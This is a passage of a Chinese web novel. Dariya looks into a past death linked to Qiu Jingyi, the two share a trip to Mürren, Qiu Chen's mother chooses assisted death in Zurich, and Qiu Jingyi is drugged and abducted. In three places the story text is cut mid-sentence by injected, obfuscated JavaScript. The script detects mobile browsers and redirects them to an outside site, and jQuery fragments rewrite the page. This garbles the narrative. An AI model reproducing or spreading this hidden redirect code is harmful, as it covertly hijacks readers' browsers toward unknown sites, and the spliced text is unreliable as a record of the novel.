“Hey,relax,ok?I’mnotapoliceandyou’renotintroublealright?She’smyfamily.Ijustwanttoknowwhathappenedtoher.Please!Wouldyoupleasetellmesomething,anythingyousaw,anythingyoucouldremember?IsweartoGodthisconversationipletelyconfidential.Iwon’ttellanyoneelse,Ijustneedtoknowthetruth,please?”(别怕,我不是警察你也没有惹麻烦,她是我的家人,我只是想知道到底发生了什么,拜托,请你告诉我吧,无论你看到了什么还记得什么都告诉我吧,求你了,我发誓我们之间的对话不会有第三个人知道,告诉我事实,好吗?) “Fineeonin”Owen纠结了一下,还是答应了,都过去这么多年了给钱的那个人应该不会再盯着他不放了,而自己也确实憋久了需要倾诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904726|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更何况Dariya言辞恳切,神父说若要获得罪赦需办告解*,省察痛悔定改告明他都已经做过了,还剩下补赎,他不仅要为那个死去的女孩祈祷,也应替她诉说真相。 五英里外的Harrods(哈罗德百货公司)爱马仕里,一群柜姐殷勤地环绕着一位雍容而雅的客人,贺诗妍坐在沙发上,庄重大方目若秋水,骨子里散发的贵气不要任何珠宝金银的堆砌,她端着茶杯抿了一口,看到了从外面走进来的年轻男人,“晨晨,你不是说出去接电话吗?怎么还自己跑去人那么多的地方排队买蛋糕了?” “妈,我有事得出去一趟,这不是给您陪个不是嘛”,秋晨从甜品区买的贺诗妍最喜欢的焦糖布蕾正挂在他的中指和无名指上,“等会司机送您回家,好吗?” “这几个月又要陪我还要兼顾工作很累吧?”贺诗妍查出了胃癌,做了手术但恢复的并不理想。 “妈您别这么说,我喜欢陪您,看您高兴我也高兴”,秋晨瞥了一眼柜姐小心翼翼拆开的包装盒,那是一枚他几年前花了200多万美元拍卖到的红色Birkin,贺诗妍最喜欢这个包包,去哪都爱带着所以磨损得严重,“修复的不错,跟新的一样呢。” “嗯,别的就算了,这个包是你毕业进公司自己赚钱给我买的,我舍不得它有瑕疵,好啦,你有事就去忙吧,我逛一会就回去了,别担心。” “好,我尽量早点回去”,秋晨跟贺诗妍的秘书叮嘱了几句,让她注意着点太太的身体,逛街不着家的时候提醒着点。 出了商场,秋晨矮身进了停在路边的深灰色宾利飞驰后座,孔助理关了车门坐进副驾让司机开车,“抱歉秋总,我知道您陪夫人的时候不喜欢被打扰,但…” “我没生气,这些说辞就省了吧,说说,怎么回事?” “今年有一位女士和小姐走得很近,她在调查当年的事,盯着的人说她找到Owen了。” “这么有耐心去翻那些陈芝麻烂谷子的事,她对秋景翳挺上心啊。” “是,从每周发回来的报告看,两位的关系很好,小姐是第一次和人这么亲近”,孔助理本想强调一下不是物理距离是心理距离,但还是算了,不多这个嘴了,毕竟这位秋总第一次听说秋小姐交男朋友的时候心情不怎么好,他一点都捉摸不透秋晨和秋景翳的关系,放任她在外面吃苦,却又让人盯着她的一举一动,在意又不关心,但这不是他该关心的事情,他只要做好老板丢给他的工作就好。 “哦…”秋晨的食指在大腿上轻敲了两下,不知道在想什么,车里安静了一小会,他说:“她知道了,说不定是件好事。” “她什么都知道了,您还打算让她继续待在小姐身边?” “当然,她还有用。” Dariya是下班之后才来找Owen的,从Owen家出来的时候天已经黑透了,她正要搭地铁去火车站,去路被一辆陌生的豪车拦了下来,她警惕地站在人行道里侧,贴着防窥膜的车窗匀速降落,车里坐着的人莫名有种熟悉的感觉。 秋晨绅士地打开车门,做了邀请,“Dariya小姐,我们聊聊?” “你是谁?” “啊抱歉,忘了自我介绍,我叫秋晨,秋景翳的哥哥。” 令人震惊的事情接踵而至,Dariya觉得今天接收的信息着实有些过载,“你…找我有什么事?” “你要去火车站吧,顺路捎你一程,上车说。” 15. 米伦 砰的一声车门关上。 秋景翳在最后一秒挤下了火车,赶上晚高峰的英国火车和京城的地铁一样,挤得人无处落脚喘不过气,好在从伯明翰机场到伯明翰Newstreet(新街站)只有不到二十分钟车程,还能忍受。 看了眼从伦敦回来的车,班次多是多delay也一样多,秋景翳本打算直接去Dariya家给她一个惊喜,顺便把在邻居太太家的Jasmine一起接走,邻居家的孩子和Jasmine同岁上一所学校,Dariya通勤赶不上她放学,邻居太太看她单身母亲不容易好心在这段时间差里帮忙照顾Jasmine。 但是她当她走出闸机的时候,看到了立在车站大厅的纯白色Streetpiano,旁边的立牌上写着“Playme,I’myours!” 于是她放弃了上一个想法,转而坐在了钢琴前,调整座椅高度推开琴盖,活动了一下许久没碰过琴键的手指。 伯明翰新街站算是小岛铁路系统的中心枢纽,是伦敦以外最繁忙的换乘车站,人流量很大,所有人都是步履匆匆,都带着点小跑的意味。 Dariya心烦意乱地下了车,跟着人群往出口走,没走几步她便听到了欢快的音乐声,还有零散的候车旅客围绕着那乐声的源头,她走近,驻足,看到了在这弹了整个傍晚圆舞曲的秋景翳。 数月不见,她仍旧没什么变化,不止是身型外貌,就连心境也是看不出一点忙碌之后的疲惫,短暂的惊喜之后Dariya的心抽着痛,痛感持续着不肯消失。 一首曲终,秋景翳像是感知到了什么,她坐在欢呼与掌声里侧了头,目光穿过人群不偏不倚地只落在Dariya一个人身上,她起身单手扶着钢琴行了个简单的谢幕礼,然后走向Dariya,“好久不见!” “你怎么在这?” “唔…等你啊。” “我是说你怎么突然回英国了?“ “噢…这几天没什么事,就回来看看。” “回来了也不告诉我一声,你就在这干等啊?今天的火车都延误了。“ “我知道延误了,但没关系啊,我愿意等啊”,秋景翳笑着说这句话的语气甜得发腻。 Dariya还没来得及消化今天只大的事情,现在见到故事的主角,心里更不是很滋味,她不能露出破绽只得强打起精神逗人,“你平常就是这样撩拨别人的?” “从来没有过”,秋景翳认真到,她反手指了指身后渐渐离远的钢琴,“你别不信嘛,路过的每一个人都知道等你的时候我是开心的,听我的曲子就能听出来。” “那我要是没停下直接走了,你怎么办?在这弹一晚上吗?” “当然不会”,秋景翳摇摇头,“因为我知道你会停下来。” 因为你第一次去我那看到琴房里那架斯坦威之后感叹过,在你家那边只有家里有钱和被爱着的孩子才有资格学乐器,你很羡慕,我还知道,所有乐器里你最喜欢的就是钢琴,你的播放器里有数不清的钢琴曲,每一次路过街头钢琴的时候你都会下意识停留,哄Jasmine开心也会说:“你看,弹钢琴是不是很好看?” “傻不傻…” 走到了车站,电子站牌显示公交还有20多分钟才到,秋景翳坐在长椅上等得有些犯困,她把头靠在了站在一旁的Dariya的肚子上,“我想见你了。” 听到这句话Dariya呼吸一滞,她好怕秋景翳会听到此刻自己疯狂的心跳声,努力克制气息后发出的声音分贝小了很多,“我也是…” “我其实带了好消息回来,我在瑞士参加了很多学术会议,什么领域都有,关于你的课题我做了很多功课,也和一些研究员聊过,有不止一个人表示过欣赏想拉拢你,想和你本人交流一下,名单我筛选了都给你列好了,都是发展前景很好的研究团队而且肯定会解决你的签证问题,你都联系一下最后一定要选一个最好的,那么多德高望重的学术大佬对你另眼相待想向你抛出橄榄枝,Dariya你知道吗?你是真的很优秀,只是机遇不是光靠找就一定会找到的,所以哪怕被拒绝了无数次也不要灰心,你只是需要牵线搭桥而已,我相信你的前途一定不可限量”,秋景翳觉得光是靠着还不够舒服,她干脆伸手环住了Dariya的腰,仰视着展颜一笑。 即便是这样的角度,那张脸依然能蛊惑人心,Dariya想了想秋景翳说过的话,一见钟情好像和见色起意确实分不开,她用自己的手盖住了腰侧搭着的冰凉的手,在寒冬腊月里感受到丝丝温暖流过肺腑,她笑叹一声,“我都不知道要怎么谢谢你了,你怎么能对我这么好呢?” 秋景翳直起身子,似乎觉得Dariya的话莫名其妙,“你怎么总要跟我算那么清楚?这句谢谢我收下了,但我做的也就只是牵线搭桥而已,实打实的成果和背后的努力都是你自己的,你最该感谢的人是你自己,记得要看到自己的好啊。” 心口的升起的热流烘干了喉咙,Dariya没做声只是很温柔的揉了揉秋景翳的头发。 打了个哈欠,秋景翳又懒散地靠了回去,她自顾自地继续说:“我今年是真的很幸运吧,好像我想要的东西一下子就都有了,炒股赚到了第一个一百万,你也会留下来的吧,Dariya,留下来吧…就这样一直待在我身边好不好”,我不想要别人陪,我只想要你陪我。 “嗯”,Dariya点点头,“我会留下来的”,不用奢求什么,只是这样就很好了。 小秋,我觉得,我们都像固执不会转弯的傻子。 “你上次也办了签证是不是,那圣诞和新年带Jasmine去瑞士找我玩吧?正好我住的套间,地方足够的。” “好啊。” Dariya带着Jasmine在苏黎世玩了几天,发出去的邮件都没有得到回应,这种火焰逐渐熄灭木炭恢复冰冷的感觉并不好受,十分憋屈,秋景翳忙完手头的事宽慰到:“别着急啦,欧洲人办事就是这么磨唧。” “唔…” “好啦,我带你换个地方散散心。” 秋景翳取了租好的车,一路开到Lauterbrunnen(劳特布伦嫩),再乘缆车抵达car-free小山村Mürren(米伦不许车辆进入)。 Mürren是位于伯尔尼高地的一个常住人口不超过200的小山村,上山的缆车四面全是玻璃,视野无比开阔,山峦上铺满能没过成年人小腿肚子的积雪,放眼望去只能看到漫山遍野的劲松,枝桠上挂着雪白的糖霜,零星的小木屋藏在树林里,屋顶烟囱冒着袅袅白气,棉花似的巨大云球包裹着山尖,看着有种十分矛盾的轻盈又厚重的感觉。 两个生长在沙漠地区的人趴在玻璃上看直了眼睛,秋景翳问Jasmine:“像不像你在学校手工课做的姜饼屋?” “哇~姜饼小屋竟然是真的~!”Jasmine一边新奇地张着嘴看外面,一边不停擦拭着玻璃上因为呼气凝结得白雾,手忙脚乱的。 秋景翳提前定了酒店,山景房,推开阳台门就能看到瑞士最有名的几座山峰傲然矗立在不远处,悬崖,山峰,大雪,这座小山错好像遗世独立般藏匿于此。 安顿好吃过晚饭,太阳已经下去了,Jasmine闹着要去外面玩雪。 Dariya笑她:“刚刚不是都困了吗?这会这么精神了。” “去嘛去嘛!我想玩雪嘛~” 秋景翳:“走吧,来都来了,当然要玩的尽兴啊,是不是?” 奔波了一天的Dariya已经觉得有些累了,但还是妥协到:“好~好~那都穿点别冻感冒了。” 秋景翳把小熊耳朵的毛绒帽子套在Jasmine脑袋上,然后像对待小动物那样揉搓了几下,两个人异口同声说:“是~” 下楼的时候酒店老板的萨摩耶Judy一直缠着Jasmine,老板就让Judy跟着一起出去玩。 Jasmine穿着橙色的防水小棉靴,牵着跟自己一般高的Judy走在前面,秋景翳和Dariya跟在后面,秋景翳边走边哼着小曲,看起来心情很好。 雪乡的夜空是亮紫色的,小镇里大部分房屋都是木质的,没有太多彩色繁华的装饰保留了木头的原色,门窗指示牌点缀的漆基本上是红黄绿,积雪攀着房檐和围篱,让人觉得宁静。 Jasmine和Judy不知道什么时候滚到雪地里去了,一孩一狗都成了糖雪球,秋景翳和Dariya站在一边看着笑。 Jasmine滚了一会才从雪里爬起来,眼里闪着星星冲站在路上的人问:“明年可以玩雪吗?” “可以啊,以后年年,Jasmine都会看到雪的”,秋景翳一边说着一边把Jasm ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904727|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ine抱起来,摇了几下,然后…扔回了雪地里。 “啊!秋是大坏蛋!”Jasmine抓了个雪球砸向秋景翳,人来疯Judy在一旁跟着起劲。 两个人有来有回地打起了雪仗,直到身上的衣服都被雪浸湿了,Dariya才叫了停,Jasmine连打几个喷嚏,秋景翳向她投降,然后揪着湿漉漉的小丫头和牵着Judy的Dariya一起回了酒店。 秋景翳洗好澡出来的时候,Dariya正裹着毛毯坐在壁炉前的地毯上烤火,Jasmine趴在不远处玩抽积木,她倚着墙,动作很轻地把头发擦到不再滴水,然后绕过沙发椅也钻进了Dariya的毯子里。 刚才Dariya盯着手机看了半天后的失落和哀叹都被秋景翳看了个清楚,她说:“放假呢…” Dariya不想把秋景翳的情绪也传染低落,她把心理负担都藏起来,冲秋景翳笑着说:“我知道,没在看。” 一杯又一杯的热红酒灌下去,被浴室的水汽闷得发晕的头脑从清醒又变得昏沉。 秋景翳想起刚刚那个裹在毯子里的落寞背影,浑身的神经都像被抻着一样,又酸又疼“Dariya,和我在一起你开心吗?” “当然啊,这是我长这么大最开心的一段时间。” “那和我领证吧,我不是在开玩笑你别生气,我只是想让你一直无忧无虑,一直这么开心下去。” 想起上一次秋景翳开这个玩笑之后自己不高兴地“离家出走”,Dariya心里一阵泛酸,酸的后味却是甘甜,她压住心尖的颤抖说:“小秋,你喜欢我吗?” 等来的不是直接拒绝,秋景翳有些意外,她的手指在短茸地毯上戳戳点点,“上次我不是说了嘛。” “那不一样”,Dariya咬了咬下嘴唇,“你的喜欢是因为我的出现填补了你过去缺失的部分而不是我这个人。” 听Dariya这么说,秋景翳脑海里闪过一丝模糊抓不到的微光,她被一种说不清的难受噎住了,问:“怎样的喜欢重要吗?是喜欢不就好了?” “很重要”,在你身上尤为重要,不能这样不明不白。 “好吧…”秋景翳的能言善辩在无所知的话题上发挥不了作用,她只能妥协,“我的喜欢不纯粹,可这不影响我想保护你,我知道你想要的是对等的关系,保护是一种尊重,我没有想要加砝码,也不想你心事重重,你…接受我好不好?我的好意…” “我知道的,好意我心领了”,Dariya伸手揉了揉秋景翳的脑袋,心里早已软成一滩,“好啦~你不是说相信我吗?这次,也请你相信我吧。” “嗯…”秋景翳蜷着腿脸枕着膝盖点点头,觉得Dariya身上的暖意很舒服就又朝她那边靠了靠。 Dariya把毛毯往秋景翳脖子上掖了掖,“怎么了?冷吗?” “没有”,秋景翳摇摇头,“只是觉得…要是可以一直这样就好了。” 映在Dariya脸上橙色的火光像是有吸引力般,秋景翳不由自主地靠近,干燥的热气像是纱布蒙住脸一般削弱了感官,视线短暂接触后却没有落在对方的眼睛里而是嘴唇上,嘴唇的距离那么近,近到一个疏忽就能碰到一起,一凉一热带着酒味的气息像是壁炉里的火焰和木头那般混乱地纠缠在一起。 “Hu…” ——好奇心太重不是什么好事,你要是想让她活得久一点,就当做什么都没发生过,不要让她知道这件事。 本就要脱口而出的“会的”终也只是露了个声母,Dariya在这样的暧昧拉扯中猛然回想起了秋晨那天在车里说过的话,她的眼神闪烁了一下,松懈下来的情绪又一次戒备森严,小秋的一直会是多久呢? 秋景翳瞳孔微微上调了一个角度,问:“你怎么…看起来那么难过呢?要是因为刚刚我说的,我向你道歉。” Dariya用指尖轻轻挑开那缕垂下来挡住秋景翳眼睛的头发,“不是,没有难过,我很开心,是困了。” “困了啊,那睡觉吧,我也有点累了”,秋景翳扶着茶几站起身爬上了床。 Dariya把已经趴在地上睡熟了的Jasmine抱到上床,然后顺手按了床头的开关,房间里白雪反射的柔光混着壁炉柴火的橙黄,她轻声对秋景翳说:“睡吧,晚安。” “晚安。” 16. 经幡 十二月底来瑞士不去雪场等于白来。 Mürren正好在007(詹姆斯邦德)的取景地雪朗峰山脚,雪场离得不远所以不用起个大早赶行程,睡饱了起来已经错过了酒店的早餐时间,索性再等一会,等餐厅上班直接吃午饭。 在滑雪场换好装备进入雪道,Jasmine就被丢给了教练,她不死心地问那两个“无情”的后脑勺:“你们要去哪里?” 秋景翳回过头,用手指了指山顶,笑眯眯地说:“我们当然是要去大人玩的地方咯,等你什么时候长得跟我一样高了,就带你一起啊?” “那要等多久啊…” “嗯…等伦敦再下十次雪,就差不多了”,一年一场雪,以后我们会一直一起数的,秋景翳摆摆手,“拜拜Jasmine,跟着教练好好玩吧。” “我不要!” Dariya蹲下身哄她:“刚刚我们不是说好了吗?你太小了,不能去上面,很危险的。” “我不要嘛…我也想和你们一起…” 秋景翳说:“Jasmine,听话,巧克力蛋糕和去上面玩,你只能选一个哦~” Jasmine纠结了一下,委屈到:“唔…那还是巧克力蛋糕吧…” “乖,一会下来接你啊。” 滑雪缆车没有车厢包裹,只有腰前一根松松箍着的保护杆,海拔不断升高,Dariya坐得愈发拘禁端正,她微仰下额尽量避免峡谷和脚下几米远的地面进入视线。 秋景翳的手覆上了她紧抓着座椅边沿的手,“恐高啊?” Dariya闭着眼点点头,“嗯…” “别怕,马上就到了”,秋景翳搂着她的脖子把她的头按在自己肩膀上。 Dariya眼前一黑,她又闻到了晚香玉的味道,恐惧和不安瞬间消失,取而代之的是一阵心悸。 秋景翳顺着Dariya的后背像给猫咪顺毛般反复轻抚,“都看不到了,怎么还抖得更厉害了?” “…没有…一会就好了。” 滑雪对Dariya来说是一项十分陌生的运动毕竟连雪也没见过几次,她又不是一个擅长运动的人,所以没那么容易上手,站在滑雪板上刚到有坡度的地方她就站不稳前后晃。 秋景翳的单板滑得很熟练,穿好雪板,她在Dariya快要失去平衡的时候拉了她一把,然后面对面扶着她的两个小臂,“不要害怕,越害怕就越容易摔跤,我们往下滑一点试试?” Dariya心里还是没底,“就…直接来啊?” “注意事项你不是都知道了嘛,实践比理论有用啦”,秋景翳往下坡的方向侧了侧,雪板顺势往下溜了一点。 Dariya吓了一跳,“等等等等等等!别,别急!” 使坏得逞的秋景翳笑了几声,“放心,我会抓着你的,你觉得要失去重心了就往我这边倒,不会痛的”,说完也不给人反应时间,脚下一用力带着Dariya一起顺着雪道滑了下去,虽是如此,她仍是控制了速度,并没有那么吓人,“怎么样?还好吧?” “还…还好诶”,Dariya这才发现其实心里想象的恐惧远远大于现实客观存的,但她仍只敢往脚下看。 “抬头,这里看不到悬崖”,秋景翳用力隔着厚重的滑雪服捏了两下Dariya的胳膊肘,“只看着脚下会撞到人,也容易摔跤。” “哦…好”,Dariya做了下心理建设,秋景翳没逗她,护目镜滤掉了刺眼的光,雪山的味道有一种雪水煮了植物后混杂在一起的清冷的后调,正接触着自己的是原始纯净的自然和这世间独一无二的秋景翳。 总有人不安好心,仗着自己老练不去更高级的雪道反而在这里挤兑不熟练的人,那人在雪道上七拐八拐地和其他人擦肩而过吓唬人,秋景翳眼看他要过来,调整了角度一边加速一边预判他的方向。 这样的变化显然对Dariya这个新手不怎么友好,几次差点站不稳。 秋景翳看Dariya害怕就把她带到了一处拐弯的地方停了下来,没成想都到边让他了他还不罢休,于是在他恶意靠近的时候,秋景翳佯装调整松了一边固定器,估算好距离把滑雪板往后踢出去一点,那人避让不及脚下失了平衡摔在地上滚了几圈,板子横铲来了场人工降雪。 “真烦”,秋景翳小声吐槽到,她扣好固定器,“我们走吧。” “平常总一副小大人的样子,原来发起脾气来这么可爱”,Dariya笑她。 “才不是”,秋景翳撇撇嘴,“这种人就该让他吃点苦头才知道人不能总这么贱,这种程度连骨裂都摔不出来,真是便宜他了,等会我们换条索道去那边山上玩。” 总算到了山脚下,Dariya长长出了一口气,腿肚子打颤,“小秋啊,还好你不是老师。” 对比一下,秋景翳就兴奋得有些过于神清气爽了,她眨了眨眼睛很认真地说:“我觉得我教得很好啊,你看你都顺利从山顶滑到山脚了。” Dariya指了指那边围起来的没什么坡度的区域,里面的人摔得摔撞得撞,不细看还以为是什么格斗类竞技,“不…我觉得我应该从那里开始。” “不行,你不能跟他们玩”,秋景翳顺着Dariya的手指看去,“你可是有免费私教的人”,她用食指指了指自己,眼睛弯弯地说:“你的。” 我的。 藏不住表情的Dariya下意识就要转身,结果忘了双脚还被固定在雪板上,结果就摔在了雪道旁边铲除来的积雪上,还顺势待倒了一直抓着她胳膊护着她没来得及防备的秋景翳。 Dariya坐在地上靠着雪堆,秋景翳的手撑在和地面夹角大约四十五度的雪堆上,她刚刚眼疾手快地蹬掉了雪板让自己不会结结实实压在Dariya身上。 Dariya问:“嘶~没事吧?” 秋景翳看着那不化妆也呈现淡淡豆沙色的软蠢一张一合,被冷风一吹更添几分殷红,她此刻跪在雪地上收回了手却突然不想起身了,她想起了刚刚从山上滑下来的过程里Dariya罕见地抛开了心事,“你刚刚明明笑得很开心的。” “我很开心啊”,那目光像是根坚硬的金属丝刺穿了Dariya的身躯,她心虚到:“怎么…怎么一直盯着我看…” “没怎么,就是觉得你应该多笑笑,你笑起来很好看”,拨开云雾见月明,以后开心的事也会越来也多的。 Dariya不好意地低了头,“是吗…” 日落掀起的阵风从两人之间穿过,Dariya淡黄色的围巾角被风从领口翻出,西沉的阳光洒恰好落在少女峰的尖顶,金色映在秋景翳的深色的瞳孔里。 幡随风转,福德无量*。 秋景翳的脑海里飘过这句话,“你知道经幡吗?” Dariya摇摇头,“不知道…那是什么?” “写着佛经的幡布,信徒们说风会把那些祝福带去世界上的每一个角落。” Dariya的手攥成拳头捂在心口,她有些集中不了精神,“听起来…是很美好的东西啊。” “嗯…”阳光倾洒的角度越来越大,雪山顶的金色色块越铺越开,“Dariya,过了这段时间,等一切尘埃落定,我想带你去西藏。” “西藏?中国?” “是啊”,一直以来只有灾祸和磨难才是属于我的,所以当美好降临的时候我既惊喜又惶恐,“想和你一起站在佛舍利塔下,在经幡飞舞中看日照金山”,我没有信仰,但我想为你祈祷,希望你以后可以一直幸运下去,希望你不会从我身边离开。 秋景翳又感受到了昨晚那种莫名的引力,可现在她并没喝酒,那枚吻停在了将落未落的位置,她深吸了口气把脸埋进了Dariya的颈侧,这瞬间从灵魂深处溢出的感觉对她来说完全陌生,她小声呢喃着:“怎么我的心跳好像也很快。” Dariya想,秋景翳说的那份喜欢里,是不是有一个不起眼的角落悄悄变了质呢?可我的心为什么越来越疼。 新年之后,秋景翳又有一段时间忙得脚不沾地,直到Researchtrip接近尾声,做完最后的收尾,一月已经要结束了。 出租后座,教授坐在秋景翳旁边,“你回伦敦的机票是明天吗?” 秋景翳点点头,“明天下午。” “这么急着啊,这几天没什么事,怎么不顺便去南欧晒晒太阳再回去?” 秋景翳笑了笑,“嘿嘿,有需要回去的理由嘛”,她看着Dariya发来的消息脸上一直挂着笑,Dariya跟她说收到了很多回信并且对方态度都是非常积极的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904728|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好吧,虽然有点可惜,不过晚上的聚餐你可一定要来啊。” “嗯,会去的,等会我回趟酒店,放了东西换身衣服就过去。” 十字路口,直行的出租给对面左转的一辆黑色的幻影让路,不管是伦敦还是苏黎世的城市街头,形形色色的豪车不胜枚举,早就见怪不怪了,出租里的乘客依然进行着原本的话题,没人多看那扎眼的纯金天使一眼。 秋晨捏着方向盘的手隐约能看到凸起的青筋,他在尽力克制自己的情绪,时不时看看后视镜,贺诗妍和秋宇炀坐在后座,车里安静到能听到他身上衣料摩擦的声音。 秋宇炀对着车窗外拍了张片发给助理,然后关静音锁了屏幕。 贺诗妍一直看着窗外,依然雍容华贵气质优雅,可从袖管里露出来的双手却呈现出一种病态的消瘦,她知道秋晨通过后视镜看自己,但她承接不了那样的目光,撑着侧脸的手不动声色的抹掉外眼角渗出的泪水,她轻轻叹了口气,心里默默说着对不起。 车子转过几个街角,最终停在了一家安乐死机构的停车场。 秋晨下了车之后,秋宇炀问贺诗妍:“想好了?” 贺诗妍平静地说:“想好了。” “嗯”,秋宇炀点点头,从另一侧下车,点了支烟,“等我抽完支烟吧。” 秋晨伸手去扶贺诗妍下车,等她站稳后,他的喉结上下滚动了几圈,才艰难地开口:“妈…” 贺诗妍轻拍了两下秋晨扶着自己的手,摆了个笑脸问:“怎么了晨晨?” “…现在反悔也可以的…” 贺诗妍叹了口气,“你知道的,这几个月我过得很开心,所以…” 贺诗妍的病已经回天乏术,她不愿意在癌症的这么里痛苦的死去,所以在秋晨陪她完成了所有想做的事之后,她想要体面的离开这个世界,秋晨是她在这个世界上最后的留恋,也正是因为这份留恋,她更希望保全最后的体面。 “嗯,我明白的”,秋晨压抑着哽咽,嗓音明显沙哑,“都依您。” “乖孩子”,贺诗妍想摸摸秋晨的头发,但她够不到,秋晨很有眼色的弯下了腰。 秋宇炀的烟抽完了,他在垃圾桶上按灭烟头走过来,“进去吧。” 贺诗妍的家教太好了,无论什么场合什么心情她都记得要得体地回复别人说的话,“走吧。” 秋晨却连一个多余的眼神都没分给秋宇炀,因为他太淡定了,淡定的让人生气,平静的让人心寒,可最应该心寒的人早已心如死灰。 贺诗妍的手没什么力气,确认书上的名字她写了很久,她从小练书法,她提的字是有收藏价值的,即便除开她的家世不谈也时常能成为利益往来中的硬通货,可她在这世上留下的最后三个字笔划无力字型枯瘦,是她的名字,是她的诀别。 药瓶里的药三分钟就会彻底结束贺诗妍的生命,她在麻醉的作用下陷入沉睡,慢慢失去呼吸,她倒在秋晨的臂弯里,脸上只剩下安详和满足。 秋晨停了录像,给机构留了一份副本,在秋宇炀办剩余的手续时,一个人开车离开了,他本想亲自做完所有的事,但他又想秋宇炀凭什么当甩手掌柜,他必须要参与进来,不管他在不在乎是否自愿,他都一定得做完这些,这个句号必须由他补全,这是贺诗妍后来一直藏在心里却再也不宣之于口的爱和遗憾。 BaurauLac(酒店)*的全景餐厅里(Pavillon),秋景翳的聚餐已经结束了,高跟鞋累脚她靠在玻璃窗前看着远处的阿尔卑斯山,普鲁士蓝的丝绒礼服裙摆刚好及地,衬得她像午夜的海。 一个同组的女生走了过来,“还在等车吗秋?我的车到了要不要顺便送送你?” “谢谢你啊,不过不用了,我的车也快到了,你早点回去吧。” “那好吧,学校见啦。” “嗯,晚安”,秋景翳叫的车很不凑巧走了交通堵塞的那段路,她又等了小十分钟车还是一动不动,索性出去溜达溜达,正好离酒店步行几分钟有家很好吃的手工巧克力店,要是走过去车还没到,那就取消了重新叫一个。 路过一个小叉路的时候,拥有丰富被抢劫经验的秋景翳直觉有人跟着她,这种情况在欧洲报警等于放屁,她迂回了一下,就差几米走到主路上时,颈侧一阵尖锐的刺痛后她便眼前一黑失去了意识。 17. 黑白 张助理点开了置顶联系人的未读消息,只有一张拍到出租尾部车牌的照片,他跟在秋宇炀身边二十多年来,可太知道自己老板的心思了,他这是又找到那张脸的平替了,而他要做的就是找到这个时间点乘坐这辆出租的“赝品”,无论男女,都要带到老板的床上,给他养一段时间玩玩,这种事他这些年发生过很多次,他早已轻车熟路。 他是见过程嘉曦的照片的,她自杀后的事也是他跟秋宇炀一起处理的,他知道程嘉曦和秋宇炀之间的纠葛,但他到现在也想不明白秋宇炀对程嘉曦到底是一种什么感情。 若说爱,秋宇炀对待程嘉曦的方式足以称得上是虐待,可若说不爱,那在她死后秋宇炀痛苦了多年才勉强走出来,之后遇到长得像的脸就发了疯似得渴望得到又是图什么呢? 这么深的执念里大概有逃避,有悔恨,有思念,有爱与爱而不得,这是对清楚不能得到却偏要一意孤行者得惩罚。 几个小时后,“秋景翳”的资料就被到了张助理的电脑上,“孤儿,人际关系干净倒省了很多麻烦,容易控制”,他浏览着那甚至有些简短的身世,“照片…这…这长相,这神态,我天…真是孽缘啊”,他打了个电话,“老宋,找个人,老规矩…” 秋晨漫无目的地开到了Zugersee湖边(离酒店不到30公里),他把车停在了一条没人的路上,抱着方向盘哭到心脏疼,挤干了最后一滴眼泪,他下车过了马路走到湖边披着夜色坐在草地上,他一根接一根抽完了一整包烟,接起孔助理电话的时候声音像被油干煸了一样,“你不知道今天是什么日子?打了一遍不接,还打?” “秋总,对不起我…真的是急事,张助理那边在查小姐的资料。” 秋晨捏了捏山根,“好端端地查她做什么?” “还不知道,但是…秋董刚刚突然推了晚上和慈善机构负责人的见面,启程回酒店了。” 秋晨知道秋宇炀有多重视这次的合作,他肯定是用贺诗妍做借口改了见面时间,但秋晨清楚他才不在意才不会难过到不能去跟合作对象共进晚餐,而且…因为秋景翳也在苏黎世,所以他心里不自觉生出一种不详的预感,“知道他都查到了些什么吗?” “当年我们给小姐的身份掩饰得很好,查也只能查到包装之后的信息,这个您放心。” 秋晨没了最后一支烟,起身大步走回停在路边的车,“嗯,你盯着点,我现在回去。” 套房里,秋景翳睁开了眼睛,她醒了醒神,发现自己的手被反绑着,小腿也被绑着,嘴上还贴着宽胶布。 “醒了?” 她循声看去,一个男人的身影翘着腿坐在窗边,手肘撑着扶手托着下巴,明明背着光眼睛却很亮,还有一种诡异的熟悉感。 男人换了个坐姿,身子往前倾了一点但仍旧以一种高高在上的态度说:“别怕,我没打算伤害你,很抱歉用这种方式把你带到这,但是你还不能说话,因为,我不想听到你的声音”,因为相似的脸不能拥有不属于程嘉曦的声音。 他站起身走到床边坐下,侧着身子睥睨躺在床上的秋景翳,房间里没开灯,她借着月光勉强看清了男人的脸——秋宇炀,不管是求救或是咒骂,嘴被封着她只能徒劳地发出呜呜声。 